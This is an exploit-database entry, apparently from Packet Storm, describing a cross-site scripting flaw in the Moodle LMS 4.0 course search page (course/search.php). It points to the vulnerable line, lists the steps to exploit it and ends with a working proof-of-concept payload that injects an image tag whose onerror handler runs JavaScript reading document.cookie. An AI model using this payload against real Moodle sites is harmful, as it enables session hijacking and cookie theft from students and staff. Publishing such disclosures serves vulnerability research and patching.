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## https://sploitus.com/exploit?id=PACKETSTORM:171553
# Exploit Title: Moodle LMS 4.0 - Cross-Site Scripting (XSS)  
# Date: 26/10/2022  
# Exploit Author: Saud Alenazi  
# Vendor Homepage: https://moodle.org/  
# Software Link: https://git.in.moodle.com/moodle  
# Version: 4.0  
# Tested on: XAMPP, Windows 10  
# Contact: https://twitter.com/dmaral3noz  
  
Description:  
  
A Cross Site Scripting (XSS) vulnerability exists in Moodle is a free and open-source Learning Management System (LMS) written in PHP and distributed under the GNU General Public License  
  
Vulnerable Code:  
  
line 111 in file "course/search.php"  
  
echo $courserenderer->search_courses($searchcriteria);  
  
  
Steps to exploit:  
1) Go to http://localhost/course/search.php  
2) Insert your payload in the "search"  
  
Proof of concept (Poc):  
The following payload will allow you to run the javascript -  
"><img src=# onerror=alert(document.cookie)>